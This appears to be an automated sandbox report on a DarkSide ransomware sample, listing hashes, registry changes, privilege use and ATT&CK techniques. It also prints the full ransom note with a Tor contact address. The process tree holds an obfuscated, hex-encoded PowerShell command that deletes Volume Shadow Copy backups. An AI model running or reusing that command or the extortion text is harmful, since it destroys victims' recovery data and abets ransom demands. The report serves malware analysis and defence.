darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27/01/2024, 19:37

240127-yb5pksafd3 10

27/01/2024, 19:36

240127-ybqwesafc2 10

12/05/2021, 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
119s
max time network
128s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27/01/2024, 19:37

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General

Target

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Size

59KB
MD5

69ec3d1368adbe75f3766fc88bc64afc
SHA1

11936a92144ef1b53eef16566a57b9052d173291
SHA256

508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add
SHA512

58f0f04cb05221e9a50eab89924c45bccc15045e9552e10f39ebbb651eddc5d4fafd95a1ba80f4a6ab8d23c4d3dfff7669e2499650b328420c766cae82e439e8
SSDEEP

768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1ylQ+IxGY23W5o:BpDtG4nMpboDTV1ylnIfZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.f04e4642.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (185) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f04e4642.BMP"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f04e4642.BMP"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Control Panel\Desktop\WallpaperStyle = "10"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f04e4642\DefaultIcon	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f04e4642	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f04e4642\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f04e4642.ico"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f04e4642	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f04e4642\ = "f04e4642"	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3060	powershell.exe
2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSecurityPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeTakeOwnershipPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeLoadDriverPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSystemProfilePrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSystemtimePrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeProfSingleProcessPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeIncBasePriorityPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeCreatePagefilePrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeBackupPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeRestorePrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeShutdownPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeDebugPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeSystemEnvironmentPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeRemoteShutdownPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeUndockPrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeManageVolumePrivilege	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: 33	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: 34	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: 35	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeBackupPrivilege	1996	vssvc.exe
Token: SeRestorePrivilege	1996	vssvc.exe
Token: SeAuditPrivilege	1996	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 3060	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	30
PID 2536 wrote to memory of 3060	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	30
PID 2536 wrote to memory of 3060	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	30
PID 2536 wrote to memory of 3060	2536	508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe	30

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
"C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3060

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
26bbd9d20e98d363ec666e52399caa25

SHA1
cefbee4a412b90acf6e1bc3fa2cb71374d6ff82a

SHA256
fc96544e5345e6c6c26b60ae121dc17226fb27a7f56e60178426de225b179aa9

SHA512
f2067bbd8cf78441f5c50c32ce9b477996f4afdbdfefcdbf325634d46f1e4a96a4764347ad33ee63f71124c62acd3ec4408cb02aa6a4ea33b1cca7230c38d06d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab45B9.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar45EB.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8430b668283f171eba2560fe0f2d9f72

SHA1
7515993166e96bf09675d5e80fb139c53d486ebb

SHA256
21add72b01a3bbe9cd78b72a14e05185fe2bae47e2fc28848f390cac9f77cab4

SHA512
93b6c3707bd6a731a1949b26a47801ddc63f952530010c630961e5de3a541f12dbfdcc0ce546c85da010c4e277adcf74bdf6746e0af1b94c4adbace9cf73be57

Download Submit
C:\Users\Admin\README.f04e4642.TXT

Filesize
1KB

MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/3060-63-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/3060-60-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/3060-62-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/3060-61-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-64-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/3060-65-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-59-0x000007FEF4D80000-0x000007FEF571D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-58-0x0000000002510000-0x0000000002518000-memory.dmp

Filesize
32KB

Download
memory/3060-57-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download